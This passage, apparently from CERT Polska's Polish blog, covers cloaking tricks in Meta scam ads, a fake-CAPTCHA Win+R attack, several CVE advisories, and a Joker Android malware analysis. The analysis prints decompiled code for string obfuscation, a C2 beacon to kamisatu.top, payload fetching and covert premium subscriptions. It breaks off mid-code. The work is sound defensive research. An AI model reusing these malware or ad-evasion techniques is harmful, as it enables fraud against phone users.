Niestety, w bibliotece reklam widnieje często zupełnie inna treść niż wyświetlana w oryginalnym poście, ponieważ reklama posiada kilka wersji. Stosowanie wielu wersji reklamy ma na celu obejście mechanizmów weryfikacyjnych. Jeśli wszystkie wersje reklamy zostały poprawnie zaindeksowane w Ad Library, czasem udaje się wśród wersji odnaleźć właściwą treść.

Demonstracja wykorzystania wielu wersji reklam w celu utrudnienia pracy analityków.

Jednak nie zawsze jest to możliwe, ponieważ zarówno reklamy, jak i ich nowe wersje indeksowane są z opóźnieniem, czasem sięgającym 24 godzin. Jednocześnie, niezaindeksowane wersje są już w tym czasie wyświetlane użytkownikom. Stąd często w Ad Library widnieje przez dłuższy czas wyłącznie jedna wersja reklamy, z alternatywną grafiką. Czasem zdarza się również, że żadna z wersji reklamy nie zostaje zaindeksowana w Ad Library, pomimo, że reklama jest wyświetlana użytkownikom. W takiej sytuacji użytkownik biblioteki reklam otrzymuje komunikat, że reklama nie jest jeszcze dostępna.

Niepoprawna wersja reklamy i brak reklamy w Ad Library po przejściu do biblioteki za pomocą opcji
"Wyświetl szczegóły reklamy w bibliotece Meta"

Możliwość odnalezienia reklamy 24 godziny po jej dodaniu to zdecydowanie za późno. Według statystyk, ponad 50% ofiar kampanii phishingowych podaje swoje dane już w ciągu pierwszej godziny, a średni czas trwania kampanii – od pierwszej do ostatniej ofiary – to 21 godzin. Czas reakcji jest kluczowy, dlatego przykładowo np. rekomendujemy aktualizację naszej listy co 5 minut.

Nowe reklamy pojawiają się codziennie, często przy użyciu tych samych stron w ramach platformy Facebook. Na platformie Ad Library po odznaczeniu filtra “Aktywne reklamy” można często zauważyć, że w starszych reklamach stwierdzono naruszenie Standardów dotyczących reklam, ale profil nadal ma możliwość ich publikowania.

Przykład profilu publikującego rozpoznane przez Meta niewłaściwe reklamy, który nadal ma możliwość publikowania reklam.

Metody cloakingu polegające na manipulacji treścią reklamy

Przestępcy starają się również aktywnie zmylić algorytmy weryfikujące. Jedna z wykorzystywanych technik polega na umieszczaniu właściwej treści w ramach większego obrazu. Następnie przy wykorzystaniu funkcji oferowanych przez Menedżer reklam, docelowym użytkownikom pokazywany jest wyłącznie fragment zawierający reklamę.

Przykład techniki cloakingu polegającej na umieszczaniu reklamy w ramach większego obrazu.

Techniką stosowaną w przypadku filmów jest przeplatanie filmu pojedynczą klatką niezwiązaną z treścią reklamy, tak aby ciężej było odnaleźć odpowiednią wersję reklamy w Bibliotece reklam. Inną stosowaną metodą jest tworzenie bardzo długich filmów (np. o długości 30 minut), gdzie główna treść znajduje się na początku materiału wideo, a reszta stanowi zapętlony statyczny obraz lub niepowiązany z treścią, zapętlony film.

Film reklamowy z alternatywną miniaturą umieszczoną na początku filmu.

Mechanizmy reklam na platformie Facebook pozwalają również na umieszczenie innej domeny w podsumowaniu reklamy niż ta na którą w rzeczywistości jest kierowany użytkownik. Jest to aktywnie wykorzystywane przez przestępców, którzy umieszczają w reklamie wiarygodną domenę np. gazeta[.]pl.

Jednocześnie, pomimo wyświetlanego “gazeta.pl”, użytkownicy kierowani są pod link zawierający inną domenę. Zauważyliśmy, że umieszczenie innego wyświetlanego linku niż docelowy jest funkcją Menedżera reklam, który pozwala ustawić inny wyświetlany link bez weryfikacji czy faktycznie jest on związany z docelowym adresem.

Przykład wykorzystania funkcji Menedżera reklam do umieszczenia fałszywej domeny w opisie reklamy

Reagowanie platform na zgłoszenia użytkowników

Platformy posiadają możliwość zgłoszenia złośliwej reklamy. Platformy firmy Meta pozwalają na wybranie opcji “Zgłoś reklamę”, która umożliwia zgłoszenie oszukańczej treści. Jednocześnie użytkownicy zgłaszają nam, że ich zgłoszenia do firmy Meta często nie są przyjmowane i zostają zamknięte po 7 dniach ze statusem “Nie usunęliśmy reklamy”.

Przykład braku reakcji portalu Facebook na liczne zgłoszenia oszukańczych reklam.

W celu weryfikacji, od stycznia do listopada 2024 testowaliśmy zgłaszanie reklam, które uznaliśmy za oszustwo z poziomu standardowego konta użytkownika Facebook. Ze 122 zgłoszonych tak złośliwych reklam, tylko 10 zostało usuniętych. Dokładniej, w 106 przypadkach (86,8%) zgłoszenia zostały zamknięte ze statusem “Nie usunęliśmy reklamy”, w 10 przypadkach reklama została usunięta, zaś w 6 nie otrzymaliśmy odpowiedzi zwrotnej.

Podobne kampanie zaobserwowane w innych krajach

Kampanie oszustów z wykorzystaniem dużych platform internetowych nie ograniczają się wyłącznie do polskich użytkowników. Liczne doniesienia medialne wskazują, że podobne działania zaobserwowano praktycznie na całym świecie m.in. w krajach nadbałtyckich (Litwa, Estonia), w Danii, Australii, Nowej Zelandii, Japonii i Korei Południowej.

Szczególnej uwadze warto poświęcić analizę przeprowadzoną przez portal debunk.org, który w dwuczęściowym artykule opisuje przypadki wykorzystania wizerunków znanych portali informacyjnych i celebrytów w reklamach publikowanych na platformach Meta:

Podsumowanie

CERT Polska obserwuje coraz większe wykorzystanie platform reklamowych przez oszustów do dystrybucji oszukańczych treści. To wyzwanie, ponieważ oszuści nauczyli się wykorzystywać techniczne słabości tych platform do omijania wbudowanych mechanizmów moderacji.

Rosnące od wielu lat natężenie zagrożeń związanych z reklamami wskazuje, że problem ten nie jest w odpowiedni sposób adresowany przez właścicieli platform. Firma Meta regularnie publikuje raporty, które przedstawiają, że ponad 99% fałszywych kont jest wychwytywanych przez Meta, a jedynie ułamki procentów są zgłaszane przez użytkowników. Nawiązywane są również liczne współprace z instytucjami walczącymi z cyberprzestępczością i dezinformacją, takie jak np. inicjatywa FIRE, czyli współpraca Meta z bankami w Wielkiej Brytanii.

Jednocześnie widzimy, że zgłoszenia użytkowników nie są rozpatrywane z należytą starannością, co może być przyczyną ich niewielkiego udziału procentowego w publikowanych raportach. Mechanizmy transparentności takie jak Biblioteki reklam posiadają znane błędy wykorzystywane powszechnie przez przestępców, które powodują, że treść reklamy nie jest widoczna w Bibliotece lub jest wyświetlana inna treść niż w rzeczywistości. Treści reklamowe dodatkowo znajdują swoje potwierdzenie w linkach sponsorowanych, które pojawiają się w odpowiedzi na odpowiednie słowa kluczowe w wyszukiwarce Google.

Jednym z rozwiązań jakie mogą być pomocne w wychwytywaniu złośliwych stron w Polsce jest Lista Ostrzeżeń, która od 2020 roku jest wykorzystywana przez operatorów sieci telekomunikacyjnych do blokowania wejść na złośliwe strony internetowe. Każde kliknięcie w reklamę jest realizowane często poprzez tzw. “link śledzący” zanim użytkownik zostanie przekierowany do ostatecznej strony. Jeśli link śledzący nie dopuszczałby do przekierowań pod linki, których domena znajduje się na Liście Ostrzeżeń i automatycznie blokował reklamy kierujące pod takie linki, znacząco ograniczyłoby to skuteczność kampanii prowadzonych przez oszustów.

We współpracy z innymi CSIRT-ami, staramy się na bieżąco informować właścicieli platform o zagrożeniach dystrybuowanych za pośrednictwem reklam. Nasze działania nie będą jednak w pełni skuteczne bez proaktywnej postawy z drugiej strony. Na poziomie deklaratywnym wydaje się, że ta współpraca układa się dobrze. Patrząc jednak na rzesze oszukanych Polaków i stojące za tymi sytuacjami, często dramatyczne historie ludzi tracących majątki życia, możemy mieć poczucie, że nasz głos, ale też głos obywateli, którzy korzystając z platform obdarzają je zaufaniem, nie jest słyszalny odpowiednio głośno.

Przykłady sponsorowanych treści tworzonych przez oszustów

Przykłady postów sponsorowanych na platformach Meta wykorzystujących wizerunek Pawła Dawidowicza i Andrzeja Dudy do reklamy fałszywej platformy inwestycyjnej

Przykład linku sponsorowanego w wyszukiwarce Google pojawiającego się na pierwszym miejscu przy wyszukaniu frazy ”orlen inwestowanie”

W celu uwiarygodnienia przekazu, reklamy prowadzą do stron wyglądających na zaufane.

Uwaga fałszywa CAPTCHA, czyli nie daj się zainfekować

2024-11-20T17:23:00+01:00

Uwaga fałszywa CAPTCHA, czyli nie daj się zainfekować

Captcha, czyli „Udowodnij, że nie jesteś robotem” to coś do czego korzystając z sieci jesteśmy przyzwyczajeni przy wypełnianiu wszelkiego rodzaju formularzy.

Kiedyś captche były bardzo proste – przepisanie kilku cyfr lub liter w odpowiednie pole. Z czasem, wraz z rozwojem botów, stawały się coraz bardziej skomplikowane. W miejsce przepisania prostego ciągu znaków pojawiły się prośby o dopasowanie obrazka do opisu, zaznaczenia odpowiednich fragmentów większej całości, czy inne czynności, które miały być problematyczne dla botów.

W tej sytuacji prośba o skopiowanie jakiegoś ciągu znaków do schowka, a następnie wciskanie różnych – jasno opisanych – kombinacji przycisków na klawiaturze wygląda jak kolejna odsłona „udowadniania, że jesteś człowiekiem”. Prawda? NIEPRAWDA!

To atak, który skłania użytkownika do samodzielnego wklejenia i uruchomienia w systemie złośliwego kodu.

Jak to działa?

Znacie skróty Ctrl+C, Ctrl+V? Z pewnością. Ctrl+C to akcja kopiowania, a Ctrl+V to "wklej".

Do tego duetu warto dołożyć jeszcze skrót Ctrl+X, czyli wytnij. On także pozwala wkleić później wyciętą zawartość w inne miejsce.

Wspominamy o nich dlatego, że nie każdy je zna. I być może użycie komendy „Wklej” wzbudziłoby więcej wątpliwości, niż wciśnięcie kombinacji klawiszy Ctrl+V.

A teraz wróćmy do scenariusza ataku.

Użytkownik trafia na stronę, która pod pozorem Captchy – widać nawet logo łudząco podobne do logo ReCAPTCHA od Google – prosi go o skopiowanie (lub wciśnięcie kombinacji Ctrl+C) do Schowka pewnego ciągu znaków. W niektórych przypadkach nie trzeba nic kopiować, wystarczy kliknąć przycisk „Zweryfikuj”.

Następnie użytkownik dostaje czytelne instrukcje dalszego postępowania:

Wciśnij kombinację klawiszy Win+R.
Wciśnij Ctrl+V
Wciśnij Enter.

Gratulacje! Właśnie uruchomiłeś swój pierwszy złośliwy kod. – Taki komunikat powinien zobaczyć użytkownik. Zamiast tego, jego komputer staje w tym momencie otworem dla cyberprzestępców.

Co się tak naprawdę stało?

Kombinacja klawiszy Win+R otwiera okno „Uruchom”. Jest to program obecny na każdym komputerze z systemem operacyjnym Windows pozwalający na szybkie uruchomienie dowolnej aplikacji lub pliku.

Kombinacja klawiszy Ctrl+V wkleja ze Schowka skopiowany wcześniej złośliwy kod w pole programu Uruchom.
Wciśnięcie Enter uruchamia szkodliwy kod infekując komputer.

To kolejny atak socjotechniczny. Tym razem oszuści podszywają się pod sytuację, którą użytkownicy znają – Captchę. Captcha z definicji ma być odrobinę „skomplikowana”, zatem zestaw czynności, na których bazuje atak może wydawać się użytkownikowi całkowicie uzasadniony.

Aktualna kampania – GitHub

Najnowsza kampania wykorzystująca ten mechanizm bazuje na pewnej funkcji portalu GitHub. Oszuści wykorzystują "Github issue" służącą do interakcji z autorami repozytorium (i innymi osobami, które zapisały się do otrzymywania takich maili). Utworzenie i dodanie "Issue" automatycznie rozsyła maila z jego treścią. W opisywanym przypadku w treści maila znajduje się link do rzekomego raportu bezpieczeństwa. Dostępu do podlinkowanej strony strzeże opisana powyżej pseudo-captcha. W opisywanej kampanii kod uruchamiany przez użytkownika pobiera oprogramowanie Lumma Stealer służące do wykradania z komputerów poufnych informacji (np. danych uwierzytelniających do różnych usług).

Jak się chronić?

Najważniejsza rada – ŻADNA prawdziwa Captcha nie będzie wymagała opuszczenia strony internetowej. Wszelkie instrukcje wymagające wciskania kombinacji klawiszy i wykonywania działań w systemie powinny natychmiast wzbudzić podejrzenia.

Warto pamiętać, że tak jak większość przestępstw to nie genialne morderstwa i „skoki stulecia”, o których czytamy w książkach i gazetach, a raczej drobne kradzieże i akty wandalizmu. Tak samo cyberprzestępstwa to w zdecydowanej większości ataki socjotechniczne bazujące na emocjach lub nieświadomości użytkowników. Dlatego aby być bezpiecznym w sieci, należy niczym kierowca przed przejściem zachować szczególną ostrożność w obliczu treści, które wydają nam się choć trochę podejrzane.

Podatność w oprogramowaniu TCL Camera

2024-11-14T16:30:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu TCL Camera i koordynował proces ujawniania informacji.

Podatność CVE-2024-11136 typu Path Traversal umożliwia usunięcie dowolnych plików z zewnętrznej pamięci masowej użytkownika poprzez dostarczenie przez zewnętrzną aplikację złośliwej ścieżki URI.

Nie udało nam się skontaktować z producentem oprogramowania. Należy przypuszczać, że podatność występuje we wszystkich wersjach aplikacji TCL Camera.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.

Podatność w oprogramowaniu DInGO dLibra

2024-11-14T16:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Poznańskiego Centrum Superkomputerowo-Sieciowego DInGO dLibra i koordynował proces ujawniania informacji.

Podatność CVE-2024-7124 w parametrze filter w endpoincie indexsearch umożliwia wykonanie skryptu w przeglądarce użytkownika, który zostanie nakłoniony przez atakującego do użycia spreparowanego linku. Podatność występuje w wersjach oprogramowania od 6.0 do wersji 6.3.20, w której została naprawiona.

Podziękowania

Za zgłoszenie podatności dziękujemy Kacprowi Rybczyńskiemu.

Podatność w oprogramowaniu terminali PAX POS

2024-10-11T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu terminali płatniczych POS (Point Of Sale) firmy PAX i koordynował proces ujawniania informacji.

Atakujący, który posiada dostęp do powłoki oraz uprawnienia konta system, jest w stanie wykorzystać podatność CVE-2023-42133 w celu uzyskania wyższych uprawnień należących do konta root.

Podatne są wszystkie terminale POS firmy PAX bazujące na systemie Android i posiadające oprogramowanie w wersji niższej niż PayDroid_8.1.0_Sagittarius_V11.1.61_20240226.

Podziękowania

Za zgłoszenie podatności dziękujemy Hubertowi Jasudowiczowi, Adamowi Klisiowi oraz pozostałym członkom zespołu STM Cyber R&D.

Mroczny rycerz powraca: Analiza złośliwego oprogramowania Joker

2024-10-01T12:00:00+01:00

Zespół CERT Polska zaobserwował w ostatnich tygodniach nowe próbki złośliwego oprogramowania na urządzenia mobilne "Joker" w Google Play Store wycelowane między innymi w polskich użytkowników.

Podstawowe informacje

Złośliwe oprogramowanie Joker, na moment pisania artykułu, nadal było dostępne pod adresem play.google.com/store/apps/details?id=com.onmybeauty.beautycamera:

Aplikacja na dzień analizy ma ponad 100 tys. pobrań i została ostatnio zaktualizowana 17.09.2024 r. Po pobraniu i instalacji przez użytkownika interfejs nie wygląda groźnie i jest zgodny z opisem z Google Play Aparat kosmetyczny może zastąpić oprogramowanie aparatu w Twoim oryginalnym telefonie, umożliwiając lepsze uchwycenie pięknych wspomnień. Poniżej, wygląd uruchomionej aplikacji:

Analiza techniczna

Każda aplikacja na Androida zaczyna się od pliku AndroidManifest.xml. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:

<activity android:name="com.onmybeauty.beautycamera.LoadingActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

W przypadku analizowanej aplikacji punktem startowym jest com.onmybeauty.beautycamera.LoadingActivity. Dlatego tutaj zaczniemy statyczną analizę kodu. Manifest zawarty w pliku apk, pozwala również wyciągnąć dodatkowe informacje, przykładowo na temat uprawnień:

<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="28"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="com.google.android.gms.permission.AD_ID"/>

Analizując punkt startowy w zdekompilowanej aplikacji jesteśmy w stanie wskazać punkty krytyczne dla analizy:

Po inicjalizacji metody onCreate() następuje szereg działań, między innymi tworzenie interfejsu dla użytkownika. Nas jednak interesują konkretne dwie linijki:

Network.init(this, new NetConfig.Builder().baseUrl(AbstractC1835n.m226m(new byte[]{103, -56, -51, -63, -54, 103, 77, -97, 34, -35, -49, -40}, new byte[]{12, -87, -96, -88, -71, 6, 57, -22})).build());
Network.net();

Funkcja AbstractC1835n.m226m ma za zadanie zaciemnienie kodu, obfuskując kluczowe ciągi znaków. Stosuje ona operację XOR na tablicach bajtów w celu odszyfrowania danych:

public static String m226m(byte[] bArr, byte[] bArr2) {
        int length = bArr.length;
        int length2 = bArr2.length;
        int i = 0;
        int i2 = 0;
        while (i < length) {
            if (i2 >= length2) {
                i2 = 0;
            }
            bArr[i] = (byte) (bArr[i] ^ bArr2[i2]);
            i++;
            i2++;
        }
        return new String(bArr, StandardCharsets.UTF_8);
    }

Po odszyfrowaniu danego ciągu znaku otrzymujemy domenę kamisatu.top. Następnie aplikacja inicjalizuje funkcję Netowrk.init() w celu przechowania domeny w zmiennej NetConfig klasy Network. W kolejnym kroku program wykonuje funkcje Network.net(), której implementacja wygląda następująco:

public static void net() {
        new PostFormTask(new LoadingCallback<String>() { 
            @Override 
            public void onSuccess(String str) {
                Toast.makeText(Network.sContext, str, 0).show();
            }
        }) { 
            @Override 
            public String getApi() {
                return AbstractC1835n.m226m(new byte[]{70, -38, -30, -106, -91, 18, -55, 17, 70, -38, -28, -121, -65, 30, -43, 15}, new byte[]{105, -87, -121, -30, -47, 123, -89, 118});
            }
        }.exe();
    }

Klasa PostFormTask, obsługuje konstrukcję i wykonanie żądania sieciowego:

public abstract class PostFormTask extends BaseTask {
    public <EntityType> PostFormTask(RequestCallback<EntityType> requestCallback) {
        super(requestCallback, RequestType.POST_FORM);
    }
}

RequestType.POST_FORM Określa, że jest to żądanie POST. Klasa BaseTask jest odpowiedzialna za konstruowanie rzeczywistego żądania sieciowego. Konfiguracja żądania jest zaimplementowana w funkcji BaseTask.doTask(), która jest wywoływana po wywołaniu funkcji exe():

private InterfaceC0394j doTask() {
    String transformUrl = transformUrl(); 
    C0371I c0371i = new C0371I(); 

    if (this.mRequestType == RequestType.POST_FORM) {
        c0371i.m3305d(transformUrl);
        AbstractC0376N buildPostForm = ParamsBuilder.buildPostForm(this.mParamsMap);
        c0371i.m3306c("POST", buildPostForm); 
    }
    ParamsBuilder.buildHeaders(c0371i, this.mHeaders);
    return c0371i.m3308a(); 
}

transformUrl(): przekształca ścieżkę API (/setting/scenery), potencjalnie dołączając wszelkie niezbędne parametry lub stosując szyfrowanie/deszyfrowanie:

private String transformUrl() {
        NetConfig netConfig;
        String api = getApi();
        if (!TextUtils.isEmpty(api) && api.startsWith(AbstractC1835n.m226m(new byte[]{69}, new byte[]{106, -58, -70, 67, -59, -27, 96, -57})) && (netConfig = Network.sConfig) != null && !TextUtils.isEmpty(netConfig.baseUrl)) {
            return AbstractC1835n.m226m(new byte[]{58, -127, -126, -30, 23, -101, -31, -117}, new byte[]{82, -11, -10, -110, 100, -95, -50, -92}) + Network.sConfig.baseUrl + api;
        }
        return api;
    }

buildPostForm(): Konstruuje dane formularza dla żądania POST z mapy parametrów mParamsMap:

 public static AbstractC0376N buildPostForm(Map<String, Object> map) {
        String obj;
        ArrayList arrayList = new ArrayList();
        ArrayList arrayList2 = new ArrayList();
        if (map != null && !map.isEmpty()) {
            for (Map.Entry<String, Object> entry : map.entrySet()) {
                if (!TextUtils.isEmpty(entry.getKey())) {
                    Object value = entry.getValue();
                    String key = entry.getKey();
                    if (value == null) {
                        obj = "";
                    } else {
                        obj = value.toString();
                    }
                    AbstractC0137f.m3656e("name", key);
                    AbstractC0137f.m3656e("value", obj);
                    arrayList.add(C0386b.m3282b(key, 0, 0, " \"':;<=>@[]^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
                    arrayList2.add(C0386b.m3282b(obj, 0, 0, " \"':;<=>@[]^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
                }
            }
        }
        return new C0403s(arrayList, arrayList2);
    }

Request Builder (C0371I): Tworzy żądanie sieciowe, ustawiając adres URL, metodę HTTP (POST) i treść (dane formularza).

Metoda exe() jest wywoływana w celu wykonania zadania i wysłania żądania:

@Override
public InterfaceC0394j exe() {
    return doTask(); 
}

Po pomyślnym zakończeniu żądania, odpowiedź jest przetwarzana przez metodę onSuccess() w wywołaniu zwrotnym:

@Override
public void onSuccess(String str) {
    Toast.makeText(Network.sContext, str, 0).show(); 
}

Odpowiedź z serwera jest wyświetlana w wiadomości Toast, wskazując, że serwer zwrócił zakodowane lub zaszyfrowane dane. Toast został tutaj prawdopodobnie użyty jako alternatywa dla schowka, gdyż nie wymaga dodatkowych uprawnień. Wiadomość Toast, którą widzi użytkownik wygląda następująco:

Tutaj Toast wyświetla ciąg znaków, który jest odpowiedzią zwrotną po wysłaniu zapytania na adres kamisatu.top/setting/scenery. Jednak, jak się okazuje, wartość nie jest tylko wyświetlana w Toast, ale jest również przekazywana w innej części APK. Kluczową metodą łączącą wiadomość Toast z natywnym wykonaniem kodu jest metoda handleBody(). Jest ona odpowiedzialna za obsługę odpowiedzi serwera i przetwarzanie danych po wyświetleniu wiadomości w Toast:

private <EntityType> void handleBody(C0378P c0378p, RequestCallback<EntityType> requestCallback) {
        EntityType entitytype;
        Type genericType;
        AbstractC0382U abstractC0382U = c0378p.f1052g;
        if (abstractC0382U != null) {
            String string = abstractC0382U.string();
            if (requestCallback == null || (genericType = Generics.getGenericType(requestCallback.getClass(), RequestCallback.class)) == null || genericType == Void.class) {
                entitytype = null;
            } else {
                entitytype = string;
                if (genericType != String.class) {
                    Object parseObject = JsonUtils.parseObject(string, genericType);
                    entitytype = parseObject;
                    if (parseObject == 0) {
                        onError(5, convert(AbstractC1835n.m226m(new byte[]{26, 71, -58, 41, 19, -92, -59, 7, 124, 17, -62, 87, 71, -121, -82, 86, 82, 67, -102, 102, 37, -34, -78, 48, 24, 114, -16, 38, 7, -82}, new byte[]{-3, -12, 125, -50, -88, 59, 34, -66}), AbstractC1835n.m226m(new byte[]{40, -13, 99, -107, 69, 125, 10, -121, 34, -25, 123, -104}, new byte[]{76, -110, 23, -12, 101, 20, 121, -89})), requestCallback);
                        return;
                    }
                }
            }
            onSuccess(entitytype, requestCallback);
            BeautySoft.open((String) entitytype);
            return;
        }
        onError(4, convert(AbstractC1835n.m226m(new byte[]{73, -2, -21, -40, -65, 114, -39, 97, 47, -88, -17, -90, -21, 81, -78, 48, 1, -6, -73, -105, -119, 8, -82, 86, 75, -53, -35, -41, -85, 120}, new byte[]{-82, 77, 80, 63, 4, -19, 62, -40}), AbstractC1835n.m226m(new byte[]{-19, 55, -64, 2, -122, -32, -96, -48, -5, 42, -33, 24, -116, -91, -14, -41, -25, 62, -55}, new byte[]{-120, 90, -80, 118, -1, -64, -46, -75})), requestCallback);
    }

AbstractC0382U abstractC0382U = c0378p.f1052g;: Ta linia kodu jest odpowiedzialna za wyodrębnienie odpowiedzi serwera przy użyciu metody abstractC0382U.string(). Następnie odpowiedź jest przekazywana do metody onSuccess(), która uruchamia komunikat Toast z zaszyfrowanym ciągiem znaków. Ciąg znaków z odpowiedzi serwera jest również przekazywany do funkcji BeautySoft.open((String) entitytype);, która jest funkcją natywną:

public abstract class BeautySoft {
    static {
        System.loadLibrary(AbstractC1835n.m226m(new byte[]{112, -50, -100, 13, -53, 123, 56, 25}, new byte[]{0, -90, -13, 121, -92, 8, 93, 109}));
    }

    public static native void open(String str);
}

Biblioteka natywna (libphotoset.so) jest ładowana dynamicznie przy użyciu funkcji System.loadLibrary(). Nazwa biblioteki jest szyfrowana i deszyfrowana przy użyciu metody AbstractC1835n.m226m(). Odpowiedź serwera (pokazana w Toaście) jest przekazywana do natywnej metody BeautySoft.open(). Niestety aktualna wersja pliku APK dostępna w Google Play Store nie zawiera w zasobach natywnej biblioteki libphotoset.so. Może to wynikać z faktu, iż osoby odpowiedzialne za umieszczanie aplikacji w sklepie Google, na bieżąco aktualizują i zmieniają aplikacje w celu zmniejszenia ryzyka wykrycia przez automatyczne narzędzia. Z naszych informacji wynika również, że poprzednia wersja była dystrybuowana jako xapk, gdzie bilbioteka libphotoset.so była dostępna.

Tutaj jednak nasza analiza wcale się nie kończy. Wiemy, że zaszyfrowany ciąg znaków jest przekazywany do metody BeautySoft.open(String str), która prawdopodobnie deszyfruje go i uruchamia go dynamicznie jako DEX. Pozostaje więc ręcznie zdeszyfrować ciąg znaków. W tym miejcu bardzo przydatne okazuje się narzędzie CyberChef, przy pomocy którego udało się odszyfrować ciąg znaków i uzyskać odszyfrowany plik DEX, który zawiera docelowe złośliwe funkcje Jokera. Ciąg znaków z odpowiedzi od kamisatu.top/setting/scenery zawiera dwie kluczowe informacje. Pierwszą jest bliżej nieokreślony ciąg znaków, a drugą jest adres URL: https://forga.oss-me-east-1.aliyuncs.com/Kuwan.

Biorąc pod uwagę, że nie mamy dostępu do natywnej biblioteki implementującej funkcje BeautySoft.open(), możemy zakładać, że aplikacja posiada dwie metody "stworzenia" pliku DEX: 1. odszyfrowanie ciągu znaków zawartego w odpowiedzi 2. bezpośrednie pobranie pliku Kuwan i odszyfrowanie go.

Analiza ciągu znaków wykazała, że jest to niestandardowe szyfrowanie. Na tapet wzięliśmy więc plik Kuwan, który udało się odszyfrować:

Analiza techniczna etapu drugiego

Odszyfrowany plik Kuwan w rzeczywistości faktycznie jest docelowym plikem DEX, co zdaje się potwierdza wstępną teorię, o natywnej metodzie, która odszyfrowuje ciąg znaków/plik pobrany z zewnętrznej strony do pliku DEX a następnie ładuje i wykonuje go dynamicznie.

Subskrypcję klasyfikujemy jako oszustwo, gdy odbywa się ona bez zgody użytkownika. W przypadku oszustw związanych z subskrypcjami złośliwe oprogramowanie wykonuje subskrypcję w imieniu użytkownika w taki sposób, że cały proces dzieje się w tle i jest niezauważalny.

Pierwszą istotną rzeczą wykonywaną przez złośliwe oprogramowanie jeszcze przed głównymi krokami, jest identyfikacja kraju subskrybenta i sieci komórkowej za pomocą kodów MCC i MNC. Oba kody aplikacja pobiera za pomocą klasy TelephonyManager. Wywołanie API TelephonyManager.getSimOperator() zwraca kody MCC i MNC jako połączony ciąg znaków

private static String MdATElAc() {
        TelephonyManager telephonyManager = (TelephonyManager) f33LfUtNUXX.getSystemService("phone");
        return telephonyManager != null ? telephonyManager.getSimOperator() : "";
    }

Warianty Jokera, które celują w urządzenia z wersją Android 9.0 używają do wyłączenia Wi-Fi metodę setWifiEnabled klasy WifiManager. Natomiast analizowany wariant korzysta z innej możliwości, którą jest funkcja requestNetwork z klasy ConnectivityManagerclass.

private void TXbyafmq() {
        try {
            NetworkRequest.Builder builder = new NetworkRequest.Builder();
            builder.addCapability(12);
            builder.addTransportType(0);
            WYOdgBxH().requestNetwork(builder.build(), new C0038BdnLopBC());//public class C0038BdnLopBC extends ConnectivityManager.NetworkCallback
        } catch (Exception e) {
        }
    }
    private ConnectivityManager WYOdgBxH() {
        return (ConnectivityManager) this.f75WYOdgBxH.getSystemService("connectivity");
    }

NetworkCallback służy do monitorowania stanu sieci i pobierania zmiennej networktype, której następnie można użyć do powiązania procesu z określoną siecią za pośrednictwem funkcji ConnectivityManager.bindProcessToNetwork. Pozwala to złośliwemu oprogramowaniu na korzystanie z sieci komórkowej, nawet jeśli istnieje połączenie Wi-Fi.

Zakładając, że operator SIM znajduje się na liście docelowej, a urządzenie korzysta z połączenia mobilnego (co wiemy z poprzedniego kroku), to w następnym kroku malware pobierze listę stron internetowych oferujących usługi premium i spróbuje je zasubskrybować. To, co dzieje się dalej, zależy od sposobu zainicjowania procesu subskrypcji, dlatego złośliwe oprogramowanie zwykle zawiera kod, który może obsługiwać różne przepływy subskrypcji.

W drugim etapie aplikacja komunikuje się z zewnętrznym serwerem w celu pobrania konfiguracji (w tym adresów URL do subskrypcji). Wykorzystuje ona funkcję C0055MdATElAc WYOdgBxH(Context context, boolean z) do wysyłania zaszyfrowanych żądań, ukrywając treść komunikacji.

 public static C0055MdATElAc WYOdgBxH(Context context, boolean z) {
        if (TextUtils.isEmpty(C0021LfUtNUXX.f34MdATElAc)) {
            return null;
        }
        JSONObject jSONObject = new JSONObject();
        try {
            jSONObject.put("zubfih", String.valueOf(C0021LfUtNUXX.f36WYOdgBxH));
            jSONObject.put("bshwai", C0021LfUtNUXX.BUjkrPlp);
            jSONObject.put("eymbmw", z);
            jSONObject.put("rktfht", C0021LfUtNUXX.f37fhuPPCBW);
            String url = WYOdgBxH(C0023WYOdgBxH.f42LfUtNUXX).toString();
            C0006TXbyafmq WYOdgBxH2 = new C0005LfUtNUXX().WYOdgBxH(url, WYOdgBxH(jSONObject.toString(), url));
            if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
                return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));
            }
            return null;
        } catch (IOException e) {
            return null;
        } catch (JSONException e2) {
            return null;
        }
    }

Szkodliwe oprogramowanie sprawdza, czy dostarczony został kod SIM operatora, tworzy payload oraz konstruuje URL z wcześniej otrzymanego ciągu znaków, którego jednak nie jesteśmy w stanie uzyskać, ponieważ nie mamy dostępu do biblioteki natywnej libphotoset.so. Kiedy funkcja open() odszyfrowywała plik DEX, uruchamiała metodę init(), gdzie przekazywany był string z adresem URL C&C:

public class MainEntry {
    public static void init(String str, String str2) {
        C0021LfUtNUXX.WYOdgBxH(str, str2);
    }
}

Następnie szyfruje payload i wysyła do C&C:

private static byte[] WYOdgBxH(String str, String str2) {
        return C0021LfUtNUXX.CEBGtjfl.WYOdgBxH(str, str2);
    }

public byte[] WYOdgBxH(String str, String str2) {
        byte[] WYOdgBxH2 = WYOdgBxH(str2);
        SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
        IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
        try {
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(1, secretKeySpec, ivParameterSpec);
            return cipher.doFinal(str.getBytes(StandardCharsets.UTF_8));
        } catch (Exception e) {
            throw new RuntimeException(e);
